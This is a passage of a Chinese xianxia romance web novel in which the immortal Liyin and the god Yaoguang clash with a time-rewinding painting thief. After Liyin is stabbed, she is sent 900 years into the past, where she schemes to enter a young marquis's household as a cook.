她这才放下他的手,继续转头去研究那画:“既然只画实景,那至少说明,在咸承二十九年,神弓就在这场宴席之上。” 众人看璃音给摇光诊过了脉,也就不再多问什么,这种天上神君的陈年旧事,自然也只有这位仙子敢问,哪里是他们能够僭越多嘴的。 虞宛言顺着她的话道:“就算知道它九百年前就在那里,现在依然是无处可寻了。” 是啊,晓得它之前在哪处宴席上出现过又有什么用,都已经是九百年前的老黄历了,画中人早就全都作了古,不知投胎转世到第几轮了,唯一可能知道点什么的摇光又对这一段往事全无记忆,这线索真是有了也等于没有。 一时众人又都陷入了沉默。 揽华看看这群束手无策的仙人,又一次忽然开口,语出惊人:“怎么无处可寻,你们不都说了,它九百年前就在那里,那直接去九百年前拿不就好了。” 所有人再一次齐刷刷抬头看向了她。 揽华看着众人惊异的目光,好像自己刚才说了多么荒唐无羁的话似的,歪头眨了眨眼,道:“怎么了,你们不是神仙么,难道连这个也做不到?” 她扭头望向璃音,指着身下这张雕花大床,确信道:“仙长,你那天在我床上留的这个阵,不就说什么‘时空长河,心念所至,皆可复原’么,这个意思,难道不是说能回到过去?” 摇光眸中有微不可见的细碎光亮闪了闪。 璃音却有些踌躇:“我是说过,但是……” 她在揽华床上留下的这个“哐哐复原大阵”,只是一个存本复原的阵法,而非穿越时空的阵法。 即便加上了北斗星君特有的定四时、导万方之力,也只是给这个阵法加上了一个时空罗盘,可以任意选择自己想要复原的时间点,但这个时间点,只能向着画阵存本的那一刻之后任意,却不能向前,因为无论如何,都要先存本,方可复原。 也就是说,如果要用它复原九百年前的某样东西,那就必须要在九百年前,就预先在那样东西上种下这个阵法。 可她却听见摇光忽然说道:“可以。” 她不可置信地抬眸看他,却对上他笃定的眼神,笃定得仿佛他亲身试验过这个阵法的效力一般,他说:“这个阵法,确实可以带老师回到九百年前。” 只是说完这句,他却忽地垂下了眼睫,适才咳过血的喉间还带着些哑:“但是此法不可用。” 璃音一愣。 他是个很好懂的人,她已经能读懂他的很多动作了,比如这个垂眼,那就是他有话想说而不能说时,特有的动作。 话落半晌,他倏然抬眸,定定地望向虞宛初:“虞姑娘,还是说说你师父的法子吧。” 53. 第52章 偷画贼 和虞宛言时常阴冷如寒冬覆雪的样子不同,虞宛初性子温淡柔静,无论何时,她的脸上总能带着几分温和如春风拂水的笑意,而这时这一抹笑意却罕见地僵在了脸上。 沉寂半晌,她才抬起头来,脸上十分刻意地挂回那一抹温柔恬静的笑,她平静地注视着摇光,嗓音仍是轻柔:“我不知道神君在说什么。” 虞宛言敛眉站在一旁,不动声色地按了按剑柄。 “虞姑娘,你方才说,尊师云上真人前往东海是为了寻找一物。”摇光拿过那本被虞宛初随手放置在床边的《神器图鉴大全》,熟练地翻出一页,将手指点了上去,“她寻的,可是这昆仑镜?” 璃音看他对昆仑镜所在书页如此熟稔的样子,想起他之前向虞宛言借了这本书去看,她当时还以为他是要找后羿神弓,难道那时他翻阅的竟是这面昆仑镜? 虞宛初依旧十分刻意又平静地看着摇光,然后平静地笑道:“我不知道,东海之游也只是师父在酒后闲谈时提过一嘴,并未与我们说具体寻的是什么。” 原来虞姐姐说谎的时候是这样的表情,璃音觉得她和摇光八斤八两,遮掩心虚的水平都烂烂的。 然后她就看见摇光危险地眯了眯眼。 璃音捏了捏手心,她全身一万个拒绝看到他们之间的气氛如此紧张,所以哪怕她打圆场的水平就和他俩说瞎话的水平一样烂,总共就只会一招,现在也只好硬着头皮使出来了。 她先是故作惊讶地以手掩口“呀”了一声,成功吸引过屋内所有人的目光,然后接过摇光手里的书,装模作样看了几眼,再故意把眼睛睁得圆圆大大的,去拉摇光的袖子,堆出满脸的好奇问他:“小七,你的意思是,用昆仑镜就可以回到九百年前吗?” 做作,实在是太做作了。 她眼角余光甚至瞟到虞宛言不忍直视地闭了闭眼。 但没关系,虞姐姐和小七吃她这一套就行了。 果然,摇光面上的神色缓和下来,向她解释道:“嗯,昆仑镜可窥过去未来,也是世间唯一不用损伤魂体,就可以带人回到过去的法器。” 虞宛初脸上的笑也没那么故作平静的僵硬了,柔下声道:“夏姑娘,寻找神弓事关苍生大计,若我师门中有此秘宝,断没有藏着掖着的道理,只是……” 她再一次抬眸看向摇光,语气是前所未有的严肃:“神君,就像您说的那个阵法不可用一样,此法亦不可用。” 摇光闻言,把唇抿成了一条直线,许久,淡淡“嗯”了一声,就不说话了。 两人这一句一嗯之间像在打什么谜语,璃音听得一头雾水,为什么那个阵法一会儿说有用,一会儿又说不能用,这个昆仑镜也是一样,刚才还说好用,现在又说不可用。 但很明显,虞姐姐和小七,他们两个在这简洁的对答间,都心照不宣地听懂了什么。 璃音这次是真好奇了,她轻轻晃一晃摇光的袖子:“怎么了,为什么这个法子也不可以用?” 声音里还带上了一点点被人排除在外,以及破解谜语失败的不满。 “没什么,就是昆仑镜在百年前就已遗失,如今一样是下落不明。”摇光认真地去看拉他衣袖的人的眼睛,果然看到一双怏怏郁郁的眸子,他对她笑道:“所以此法不可行。” 昆仑镜遗失这件事,璃音倒是听说过的。 似乎也是在哪一年的瑶池宴上,王母将昆仑镜随手扣在桌上,却不想被一位醉酒的仙子失手打翻,神镜虽神,镜面却脆弱得令人发指,被这么一摔,登时碎裂成千千万万块,迸裂成的每一个残片都闪着绝望的光,就这么四散着跌坠去了凡间各地。 但这是她还未上昆仑时发生的事了,她也只是隐隐约约听到过一些传闻,而且大家提起时,对那位仙子的身份都是一脸讳莫如深的神情,她就觉得当日的情形恐怕不会如传言那么简单。 难道这事和虞姐姐的师父云上真人有关? 不过,即便有关,昆仑镜早在百年前就被摔了个“粉身碎骨”总是事实,确实肯定是不能用的了,起码在这一点上,他们应该没有在骗她。 她正有一搭没一搭地想着方才两人之间的谜语,忽听殿内有人尖叫了一声,她循声一望,原来是那位圆脸宫女正浑身发颤地指着床头,疯狂惊叫。 床头怎么了? 旁边的揽华饶是最近大场面见多了,现在的脸色也不算镇定。 接着唰唰两声,冷光闪过,却是虞宛初翻身下床,和虞宛言一起抽出长剑在手,都正对床头,凝神警戒。 床头究竟有什么? 璃音猛然回头,就见床头那副巨大挂画前面的一小块空间正呈漩涡状,仿佛一坨痉挛着的肌肉,正不断地收缩、扭曲、蠕动…… 她紧盯着眼前这一坨挛缩着的空间,右手一翻,指尖立时泛出绿色荧光,她沉着声道:“这是什么东西?” 摇光冷静地观察了那团扭曲的空间一会儿,反手去背后握住破军,才凝声道:“恐怕是有人要从那边过来了。” 那边是哪边? 反正听起来不太阳间。 圆脸宫女叫得嗓子都劈了,这时听见摇光这话,直接两眼一翻,就晕了过去。 揽华一个箭步上前,将小宫女揽在了怀里,抬头看向摇光,勉力定了定神,问:“仙长,现在什么情况?” 摇光迅速扫一眼殿内众人,最后把视线落在虞宛言身上,对他道:“带上她们先走。” 又是那样平静又不容置疑的口吻,像是在向人下达着军令。 但虞宛言看一眼璃音,迟疑了一下。 眼看着那团空间越扭动越激烈,仿佛下一刻就要爆裂开来,璃音见虞宛言静立不动,忙一边向殿内每人身上扔去一个护身法阵,一边催他:“这里有我和小七,你姐姐有伤在身,公主她们都是凡人,你快带她们先走,保护好她们,快点!” 揽华之前说得不错,若是连她和摇光这两个神仙都应付不了的事,那凡人的担心和害怕皆是无用,自以为的英勇也都是送死。 虞宛言如何不明白这一点,他根本没有留在这里的理由,踌躇片刻,最终还是收了剑,牵起阿姐瘦弱苍白的手,点头道:“你们自己小心。” “没想到你还挺关心我们的嘛,快走吧。”璃音本来紧绷的神经倒被他这一句缓了一缓,难得向他绽出一个笑脸。 虞宛言抿了抿唇,没再多说什么,便带着三人转身向外走。 “夏姑娘,万事小心。”虞宛初自知魂伤未愈,若真有恶战,自己也帮不上什么忙,因而并不强留,回头留下这一句,便随弟弟快步出了揽华殿。 他们刚走出殿外,那团漩涡的动作却忽然缓了下来,紧接着,就听见轻轻巧巧的“啵”的一声,像是鱼嘴里吐出一个泡泡,那漩涡中心吐出了一个……不,是一只裹着黑手套的人手。 那手连带着一条缠着黑布衣袖的胳膊,迅疾无伦地从漩涡里面探了出来,且心无旁骛,目标明确,直直地就像床头那副巨大的挂画抓了上去。 璃音和摇光对视一眼,两人一时都摸不清这胳膊的来路,但看样子,似乎只是冲着这副宴饮图来的? 那手动作极快,眨眼已将挂画取了下来,绕轴一卷,就要带着画卷一起缩回漩涡。 这一连串的行动发生得太快,但璃音的心念转得更快,就在这神秘之手取画的片刻, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她已在脑中完成了一连串的分析。 首先,毋庸置疑,这漩涡里冒出来的是一个偷画贼的手,而且绝不是普通的凡间小贼,这个漩涡明显是某种空间传送的高阶法阵,且来得如此嚣张,青天白日就敢来明抢,说明偷画人的法术修为极高。 凡间小贼还可能是为钱为利,冲着工笔写实巅峰之作的名头前来盗画,但既是修行之人,就绝对是另有目的了,这个目的不是为了倒卖画作换取金银,那就只能是为了这幅画本身。 这幅画,或是这幅画的内容里面,一定有他想要的东西。 而这幅画里,有价值的信息,就只有两样:小七,和那把遗失千年的落日神弓。 无论他想得知的信息是关于哪一样的,都叫璃音觉得十分危险。 这只神秘之手,很可能就是那条魔龙派来抢夺这些信息的。 绝不可让这偷画贼就这样把画拿了去! 心念电转间,璃音出手亦快如闪电,一抓一握,就拽住了画卷的另一端。 她听见漩涡那边传出惊疑不定的一声问:“什么人在那边?” 是个女人的声音。 “既敢明抢,又要这样藏头露尾,偷偷摸摸,阁下倒是有意思。” 璃音冷哼一声,扯住画轴,就向外猛地一拉,她臂力惊人,这一拽之下,只听对面闷哼一声,一个黑衣人便被她从那空间裂隙里硬生生拽了出来。 那人黑衣黑帽,脸上还蒙着黑布巾,整个人除了一双眼睛裸露在外,全身都裹在黑乎乎的布料里面。 那人被璃音一把拽出,那双眼里又惊又怒,却仍抓着画轴的一端不肯放手,但她很快就镇静了下来,一双眼睛冷冷打量着眼前二人,半晌,忽然从喉咙里发出嗤的一声冷笑:“我当是什么人,原来是同行。” 同行? 璃音尚在理解她话中含义,忽觉身后被什么东西狠狠一推,画卷脱手,整个人就扑上了揽华那张雕花大床。 那黑衣人方才分明在她身前,那推她的人只能是…… 她惊急回头,就见摇光脸色惨白,一小块碎镜残片悬在她方才站立的位置上方,此刻正闪着耀眼刺目的银白色光芒,不偏不倚地全都照去了摇光的额心之上。 “哎呀,原来还是个痴情郎呀。” 那黑衣人嘻嘻笑着,不拿画的另一只手结印微动,操纵着那面残镜,镜面射出的银白色光线就如同一个人探究的目光一般,上下将摇光赤裸地打量着。 他从头到尾没吭一声,却仿佛在那镜面里看到了极为痛苦的场面,眉心紧蹙,额头不断沁出细密的汗珠。 那镜子背对着璃音,她不知道摇光究竟在里面看到了什么,只能听到那黑衣人啧啧摇着头嘲弄:“小郎君,这种事你也干得出来,不怕她日后知道了,剜你的心泄愤么?” 摇光整个人像是被那束银白色的光线锁住了一样,他唇上血色褪尽,却又从嘴角溢出一股鲜红的热血,重新在苍白的唇色上染起一抹热烫的艳红。 那抹红灼痛了璃音的眼。 她眼底赤红陡升,那些曾被她狠狠压抑过的,嗜血的冲动,杀戮的欲望,吃人的渴望…… 眼前整个世界都变作了血染的赤红。 杀人,饮血,吃人…… 她稍渴的舌尖下意识地在虎牙上抵了抵,抬起血红的双眸,仿佛血色地狱里的修罗乍醒,搜寻着可供她噬咬虐杀的猎物。 她冷然的视线落在那持镜嘻笑的黑衣人身上,看她像翻看什么有趣的话本子一样,一边咂嘴嘲弄,一边肆意翻阅着摇光记忆里的过去与未来,她眼底赤红更盛,缓缓启唇,一字一顿,字音全被杀意浸透:“放、开、他。” 54. 第53章 开阵 黑衣人愣了一愣,转头对上璃音那杀机尽显,有如实质的视线,不由得全身都打了一个寒颤。 分明只是一个眼神,却仿佛已经被她扼住了喉咙,差点就要喘不上气。 黑衣人心下一凝,当即伸手入怀…… 与此同时,玉横在主人的召唤下腾身而起,当的一声,就砸上了那残镜的背面,本就残碎的镜片再一次四散迸碎,这一次彻彻底底被撞作了齑粉。 细碎透亮的银屑在空中纷扬着炸开,黑衣人只觉浑身的血管和头皮也跟着炸了开来,在那一撞就把上古神镜撞得灰飞烟灭的玉葫芦由青转红,大张着葫芦口就要对向自己时,他以此生从未有过的迅疾之势从怀中掏出了另一块残镜,并将其催动。 银白色镜光迸射,霎时间,空中飞扬碎裂的银屑消失,残镜又如被那葫芦撞碎之前那样,完好地悬在空中同样的位置,只这一次,一块残镜变作了两块。 少女眼底一片清明,没有氤氲着杀意的怒气,也没有血染一般的红,玉葫芦乖乖地在她腰间坠着,她正毫无防备地被一柄蓝白色寒光闪烁的长剑在背后狠狠一推,向前一个跌扑,跌在了跟前的雕花大床上。 黑衣人仍用那一块残镜牢牢锁住控剑的男人,并在少女惊急回头之前,用另一块镜片将她也一并锁住。 看那少女被碎镜银光止住了回头,黑衣人冷哼道:“脾气倒是不小,只可惜撒野撒错了地方,不该在你姑奶奶我面前发作。” 残镜悬在璃音额前,银白色的光映得她小脸一片冷白,镜子里,一个少女正端坐在一捆薪柴之上,没有表情,也没有情绪,就那么一直一动不动地坐着,坐着,坐在炽烈日光之下,坐到日头西坠,又坐到红日东升,她仍旧只是那样安静地坐着,坐着…… “这什么鬼。” 黑衣人从未看过这样奇怪诡异的人之过往,那画面里若非是还有一轮太阳在每日勤勤恳恳地升升落落,她都要以为是这镜子在哪一段里卡住了。 她还以为能看到点魔女大杀四方这样的刺激场面呢,结果跟看了副少女端坐图似的,无聊,但就是因为这画面太平淡无聊了,又叫她抓耳挠腮期待着这少女到底什么时候会站起来,也叫她止不住好奇地想要弄清楚,这少女坐在这堆柴上,到底是在做什么。 璃音看着镜中端坐柴上的少女,心里想的却根本不是画面里的事情。 她对于自己做凡人时的许多记忆都已经淡忘了,但她还记得自己从小就是个有些“古怪”的、能在各种旁人意想不到的地方自娱自乐的女孩。 比如系一根麻绳跳在枯井里看一晚上的星星。 又比如花上整整一个月的时间把厚厚的几十卷书册子一页一页全都拆了,再一页一页重连成册,只为换根自己中意的缝线。 更不用提在玉横里拼绿豆的那三百年了。 所以就算哪天抱了一捆柴坐在上面发呆,感觉也像是她能做得出来的事,没什么稀奇。 她看着那面镜子,在想那黑衣人分明就在她身前,那方才推她的,就只能是小七。 小七不会无缘无故地推她这一下。 这突如其来的一推一跌都只在转眼,何以这面镜子却仿佛预判了自己将要倒下的位置,这份预判过于精准,甚至可以说是毫厘不差,就在自己额前一寸的地方,静静地等着自己跌扑过来。 小七和虞姐姐刚刚才讨论过可穿越时空的昆仑镜,现在这块残镜里映出的又是她尚是凡人时候的画面。 她心念稍动,便已经有了答案:除非这已不是第一次她被小七推倒在这个位置,除非上一次在这一推之后,这个黑衣人就陷入了不得不扭转时间、重来一次的险境。 而床头那一坨漩涡,恐怕扭曲的也不是空间,而是时间! 这个黑衣人,是一个跨越时间而来的时空窃贼。 那么黑衣人就理所当然能够预判她接下来的全部行动,她现在要做的,就是排除所有第一本能驱使下的行事,比如现在她急切地想要回头,那么她就绝对不能回头,否则就会落入黑衣人的预判! 她最该做的,该是出其不意,打黑衣人一个措手不及。 她看那黑衣人津津有味地注视着昆仑残镜中的画面,却放心地没有对她再加限制,想必是这面镜子可匹敌魂术,摄人心魂,但她的魂魄有玉横这个金钟罩护着,这镜子于她而言,实在就和一面普通的铜镜差不多。 于是她便从善如流地仰起头,任由那银白色光线一点一点地照亮自己身上的每一寸肌肤,然后趁着黑衣人沉迷观赏她的过往之际,倏然抬手,铃铛手链化作长鞭甩出,直向黑衣人的脖颈缠绕而去。 却不想身后破军与她同时动作了起来,携着疾风裂空而来,铮铮两声,两面残镜应声而碎,破军连破两镜,剑身却一滞未滞,寒芒袭掠,如流星飒沓,径直就要向那黑衣人的脖颈斩落。 黑衣人听着这两声风啸迎面疾至,大惊失色,这两人的反应竟如此之快! 都怪这个会乱红眼睛的恐怖魔女的过去太过诡异,害她一时好奇,竟看入了迷,连逃跑都给忘了。 幸好…… 就在那长鞭绕颈,寒剑已然砍入一半,颈侧鲜血狂喷之时,黑衣人胸前细碎的银白色冷光一闪,空中两面残镜再次高悬,其中一面再一次去将那控剑的男人控住,而少女也再一次被推跌在雕花大床之上,被另一面残镜的银光罩住。 黑衣人伸手探入衣领一扯,扯断颈间一根微不可见的细线,将那线上坠着的第三块残镜捏在手中。 时间漩涡仍在,她本可以趁此一瞬逃走,或是干脆回到开启时空漩涡之前,另寻个时间过来取画。 而且,手中这块,是她拥有的最后一块神镜残片了。 但想着方才脑袋被扯着砍下一半的感觉…… 她自诩有神器在手,有移时换天之能,何曾在谁手下受过如此奇耻大辱! 黑衣女人眸中的滔天怒火被淬毒的冷光层层包裹着,不管他们是谁,她今天,一定要杀了这两个人! 他们果然很快就再次反应了过来,鞭若游龙,剑似流星,虽有前后,却几乎是同时以间不容发之势向那黑衣女人原本的位置袭去。 但黑衣人要抓住的就是这仅有一瞬的前后落差,她隐在黑色面巾之下的嘴角扯出一个兴奋而阴戾的弧度,就在少女鞭影先起,而剑光尚未触及第一块残镜的瞬间,足尖一点,整个身子轻飘飘地跃空而起。 那伏在床上的少女果然不得不跟着起身扬鞭,眼看少女身法极快,黑衣人嘴角的弧度越拉越大,眼中阴毒寒光迸闪,引导着少女来到了她应该抵达的位置。 这一切都只发生在石火电光之间,只听嗤的一声轻响,是可切金断玉的寒光利刃没入碧石的那种清灵细微的声音。 冷到极致的时候,人其实是会感觉到热的。 那剑的剑锋一如星辉清冷,璃音只觉心口忽然传来一阵焚冰煮雪似的灼烫刺痛,这刺痛她并不陌生,就是这份熟悉的刺痛,结束了她在月牢浑浑噩噩的三百年,为她过得一塌糊涂的前世做了一个干脆利落的了结。 剑尖刺胸而出,带出一抹殷红血色,那血顺着冰寒剑身不断向前流淌、汇聚……最后凝成一颗滚圆的赤红血珠,沉甸甸地坠在那冷硬的寒铁尖端之上。 像注定要滑落屋檐的一滴雨,血珠只停留了凝结的那一瞬,一旦蓄满重量,便再攀不住那冷铁,只被后面涌上来的热血拥挤着变沉,变沉,再变沉,最后终于向下一坠,无声滚落,沁入了床上用金丝银线绣着蝴戏海棠的锦被之中。 血珠一颗接着一颗,自那剑尖凝结又淌落,璃音的意识有一瞬的模糊,只有失血的感觉是如此清晰。 “阿璃——!” 有谁惊声喊着她的名字。 是小七么? 一定是她痛得迷糊了,小七怎么会喊她作“阿璃”,从未有人喊她作“阿璃”的。 接着便有一只温热的手掌轻轻托起了她的面颊,让她对上了一双强自镇定,但一看就藏满了兵荒马乱的双眸。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 她从未见过这位神君如此惊慌失措的神色。 她立刻听见耳边有人在捏着嗓子冷嘲热讽:“哟,小郎君,这一脸惊慌的样子是要做给谁看,这种事,你不是早就已经对她做过一次了吗?” 璃音听不明白黑衣女人这话是什么意思。 只能感觉到他的拇指在她的脸上轻柔地摩挲着,动作和声音都轻得像是在安抚一片羽毛:“你别怕。” 她不怕,只是有些痛,不,是很痛很痛而已,不过她有玉横护体,这些伤都不算什么,只是暂时痛一痛,都会过去的。 玉横青光暴涨,只等长剑拔出,便要替主人疗伤。 可他为什么迟迟不把剑拔出来呢? “我不……” 她本想告诉小七她不怕,喊他赶紧拔剑的,谁知一张口,喉头翻滚着的那些腥甜血液便争先恐后涌了出来。 “嘘,别说话,听我说就好。”他温柔地用袖子替她擦掉唇角的那些血迹,声音轻到近乎发颤,“阵法已经见血启动,无法停下,我会送你回去九百年前,你只管去寻你本来就要找的东西。” 床下灵力翻腾汹涌,一个巨大猩红的符阵缀着蓝白色冷光猛然亮起。 璃音瞬间什么都明白了,她听话地没有开口,不想在如此要紧的时候再呕血打断他任何关键的叮嘱,于是只是安静地向他点了点头。 “如果到了那里太过陌生,就去王都的武宁侯府找我,我姓慕,叫作慕玿,只是听说那时学生的脾气不好,还要请老师多担待了。” 他说到最后,微微笑了起来,但璃音看得出,那依然是个故作轻松的安抚的笑。 阵法的红光已渐渐将她整个人包裹了起来,也把眼前人的笑仿佛隔去了很远很远的地方,她从喉咙里轻轻地“嗯”了一声,怕他听不见,就在一片如血的红光之中,也点着头冲他弯眉弯眼地笑,叫他放心。 只是要她只身去到九百年前的那个陌生世界而已,这是她本就打算要去做的事,而且一觉醒来去到几百年前这种事,她也不是第一次经历了,她有很多的担忧,但她一点也不害怕。 贯穿在胸口的那把长剑星辉闪耀,血糊似的红光渐被蓝白色冷光吞噬,不分昼夜高悬于九重天之上的北斗星辰移位疾闪,只是白日里的凡人即便抬了头,也谁也瞧不见这份异样。 他宽厚的掌心又一次贴上她的面颊,但她却感受不到那份温热了,连他的声音也变得无比渺远,仿佛在从离她很远很远的地方传来,他捧着她的脸,说了她能听见的最后一句话:“无论发生什么,记住,活下去,活着回来。” 随着最后一个字的尾音落下,阵法中的红蓝光芒一起湮灭,连带着阵中的那个少女,就这样凭空消失在了这张雕花大床之上,只剩下一床染了血的锦被,和一蓝一黑两道对峙的身影。 怎么会有不用昆仑镜就能开启时空漩涡的阵法? 黑衣女人捏紧手中镜片,全身上下唯一袒露在外的双眸眯起:“那是什么阵法。” 摇光半坐在床沿,浑身如长松覆雪,向她冷冷抬眸。 “怎么,恨我让你刺了那魔女一剑,怕她心中记恨,此生都不会回应你这个偷窥狂一星半点了?”黑衣女人一面收了空中高悬的另外两片残镜,一面哈哈大笑着,“一个魔女而已,刺死了才是为民除害,姑奶奶我送你一个做英雄豪杰的机会,哈哈,你这小郎君,居然为了那点见不得光的心思,就……呃……” 天穹之上寒星静默闪烁,锋锐星芒却从四面八方轰然而下,屋顶,床榻,床前的黑衣女人,都在这轰然一击中化作了一室埃尘。 摇光自始至终没有说一个字,只是默然拾起掉落在地上的那些东西,一阵仅可传送一灵,玉横和引魂铃这些自生了灵魄的法器自然是带不走的,他将他们一一捡起,小心收好,又继续拾起脚边的乾坤袋,三枚残镜碎片,还有那一幅画了他在内的宴饮行乐图。 那画不知在何时染上了几滴血红,正巧盖住了蓝衣少年视线中,逐渐浮现的一个少女的身影。 55. 第54章 入府计划 十月小阳春,桃李误把孟冬作春日,又艳艳地吐起花苞来。 然而武宁侯府的小厨房里,空气里却仿佛凝满寒霜,连着那吸入冷气的肺腑也跟着快冻结成了冰。 一个中年男人被一个侍从装束的少年拽着胳膊使劲向外拉扯着,只兀自扒着灶台不肯松手,颤着声低低哭叫:“童墨,你发发善心,帮我与夫人说说,这个月的工钱……” 那被叫作童墨的侍从见拉他不动,狠狠朝男人脸上啐了一口,骂道:“滚滚滚,菜做成那个样子,小侯爷闻一下就吐了一下午,惹了我们小侯爷,不杀你的头就是开你的恩,还好意思要什么工钱。” 说着就提气往男人后背上猛踹一脚,直接把人踹出了厨房门外。 童墨个子清瘦,力气倒大,这会儿发起狠来,一把拎起那男人的后领,就一路拖着要往侯府门外赶。 闹腾了小半天的厨房里终于安静下来,半晌,一道银光闪过,墙角处悄没声息地现出一个青衣少女的身影。 这间厨房并不大,是专供府中那位挑嘴的慕小侯爷的饮食的。 璃音慢悠悠把这小小的火房逛了一遍,最后视线扫到墙上贴着的一张比人间春联还长的忌口单子,弯眼笑了笑,停步。 由于那纸条实在太长,贴在墙上竟比璃音还高,迫使她不得不努力踮了脚抬手,才勉强够到了那字条的顶端。 却不想这一下动作牵动了胸口的剑伤,她轻轻嘶了一声,压下心脏被贯穿撕裂的那份灼痛,才继续将墙上那一张长长的纸条揭下。 与上一次的死后重生不同,不知为何,这一次来到九百年前后,胸口的伤势仍在,玉横也没有跟着过来,基本上除了身上这一件衣服,她什么也没能带过来。 而且直到阵法彻底将她送走的那一刻,她才意识到一件十分要命的事,那就是—— 临行前小七嘱咐了那么多的话,但他却忘了最重要的一件事,他竟没告诉她,她完成任务后,要怎么再回去她来时的那个庆宁二十三年! 璃音一想到这事,就一个头两个大,她向来是个做事很有规划的人,不管做什么,都爱在脑中先分析个一二三四五出来,再一一去执行。 但自从重生之后,就总有这样那样的意外,叫她不得不走一步看一步地摸索着前行,像有一只看不见的手,在背后推着她往一个注定要去的方向走着。 也只能继续走一步看一步了。 而她现在要走的第一步,就是混入这座武宁侯府。 现在是咸承二十五年,距离楚道戎作出那幅宴饮图还有四年的时间,落日神弓无论现在何处,到那时都一定会出现在那场宴会之上,出现在慕小侯爷的手中。 她必须在那场宴会之前混入侯府,混到一个可以在慕小侯爷身边随行赴宴的身份,那么至少在宴会当天,她就一定可以见到那把落日神弓。 至于这个能让慕小侯爷时时带在身边的身份…… 璃音左思右想,觉得只能有两个:要么是爱妻宠妾,要么是贴身丫鬟。 但要成为慕小侯爷的爱妻宠妾…… 璃音在心里默了一默。 还是努努力,去当丫鬟吧…… 况且为了能顺利回到她来时的那个未来,她必然不能对历史作出干扰,任何小小的变故,都可能造成九百年后的天翻地覆,让那个未来不复存在。 她不知道历史上这位慕小侯爷的妻妾都有哪些,但总之绝对不可能有自己就对了。 还是丫鬟好,低调又安全。 想到这里,从未给人当过丫鬟的璃音忍不住再次默了一默,半晌,她才抬起头来,向天握了握拳:完成任务而已,大女人能屈能伸,最多也就四年,不磕碜! 而要顺利混入侯府,当上慕小侯爷的贴身丫鬟也不是件容易的事。 据她这几日在侯府中隐身观察,小侯爷身边只有一个叫作童墨的侍从,衣食起居都是他在照管,她的目标,就是取代掉这个童墨。 晚上她也隐着身形,默默趴在慕小侯爷的床边盯了几晚,不是她变态,而是确认了这位小侯爷确实没个爱妻宠妾,贴身丫鬟的位置也还空缺。 而且他之前刺了她一剑,刺得她好痛好痛,虽刺入时应已被他卸了大半神力,并不致死,但没有玉横在,伤口愈合得极慢,害她稍微扯着一点就疼。 她每晚疼着胸口去盯他沉静如玉的睡颜,就忍不住也去他胸口砰砰捶个几拳,看他痛哼一声皱眉醒来,茫然地捂一捂胸口,明明自己也因为打人扯得伤口发疼,但顿时就觉得心里舒坦多了。 这时门外隐隐传来中年男人不甘的低吼,将璃音的思绪往回拉了拉,男人的哀求一声声传来,但璃音却并没有觉得他太可怜。 她刚刚揭纸的时候匆匆扫了一眼,就看到那忌口单子上明明白白用大字写了一行:葱姜蒜芥不食。 结果那厨子中午竟做了一道小葱拌豆腐,菜一端上来,慕小侯爷当场就发作了起来,黑着脸差点没把桌子给掀了,把个筷子当飞镖直往墙上扔,两根木头就那么死死钉进了墙上,到现在还没人拔得出来。 璃音第一次见这张脸发纨绔脾气的样子,竟还感觉有点新鲜。 她想起走时小七说的那句—— “那时学生的脾气不好,还要请老师多担待了。” 脾气果然够大的。 但她也没什么担待不担待的,他现在可不是威名赫赫的北斗第七神君,什么将门之后,少年英雄,身份再高,在她眼里都不过是凡间的一个小鸡仔,他要敢跟她发脾气,摆脸色,到时候一个拳头就要叫他知道厉害,不怕揍不服他。 总之那个厨子就这样被赶出了武宁侯府。 也就是说,武宁侯府明天就会开始物色新的厨子进府。 虽然厨艺一塌糊涂,但璃音还是干劲满满地将那忌口单子捏了捏。 她脑中的一二三四五逐条清晰:一,贴身丫鬟,就从应征厨娘做起! 当天晚上,璃音趴在慕小侯爷床边,照旧盯了会儿这张熟悉好看的睡颜,也照旧给了他两拳,看他痛醒又睡着,才满意地摸出那张据说“写出来就是纯找茬”的忌口单子,开始细细地逐条研究起来。 前面几十条看着还好,什么葱姜蒜芥不食,油炸烤炙不食,腌渍菹醢不食,樱桃橘子不食,蜜饯果脯不食…… 璃音边看边记,背得很快,但越往后看,她的眉心就慢慢地皱了起来。 酸苦辛咸甘,五味里面他倒有四味不喜,唯一能接受的咸味,也强调要淡淡的咸,像是出于生存本能的需要,有种因为不摄入会死,所以只好吃一点点勉强活着的意思。 还有更离谱的。 肉可以切块但不能切丝,整鸡摆盘时必须爪子藏在肚子下面,鸡头要向右撇,鸡嘴不许对着他…… 璃音看得又无奈又好笑,难怪人家要说他这是找茬。 这也太难伺候了! 但她还是一一用心记诵了下来,甚至有点乐在其中 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 她本也是个怪人,越是这样旁人觉得琐碎无聊的事情,她越是不觉得烦腻,这会儿拿着一张多达七百三十五条的忌口单子越背越投入,看那认真的神情,不知道的还以为她手里捧的是哪本圣贤名作。 背着背着,忽听床上那人发出一声痛苦的闷哼。 璃音愣了一愣,举起自己的拳头看了看。 她刚刚没打他啊…… 闷哼过后是一阵急促的轻喘,璃音忙凑身过去,就见他胸膛隔着被褥剧烈起伏着,乌黑漂亮的睫毛在阖紧的眼皮上一阵扇动,额头也不停往外沁着虚汗。 她伸手去他额上探了探,没有发热,又把他的手从被窝里拽了出来,仔细搭了搭脉,沉稳有力,比她这个心脏上裂了个口子的病体强健多了。 只是做噩梦了吧。 璃音默默扔掉这位慕小侯爷的手。 却见这手刚被她扔下就捂去了胸口,透白的指骨猛地攥紧,把覆在胸前的那一块锦被用力揪作一团,恨不能把这被面揉碎抓透了似的,他就这样在睡梦中蹙紧了眉心,低低喊了一声:“……痛。” 虽然才给他把过脉,但璃音还是不由得一阵心虚。 莫不是这几天夜里打得太狠,把人给打坏了? “小七,这里痛吗?”她俯身过去,见他喘得厉害,忙抚着他的胸口给他顺气。 她被捅了一剑,是中了那偷画贼的计,纵然心里有气,也不该撒在小七的身上,更何况是这位无辜的慕小侯爷身上了。 明明之前还约定好,要他必要时不可犹豫,一剑把自己了结了的。 可真被他提剑刺了这么一下,也不知道为什么,就是格外格外地生气和在意,那伤口也比平时格外痛些,那痛也怪怪的,比被锦云仙子连捅三剑的时候还要痛。 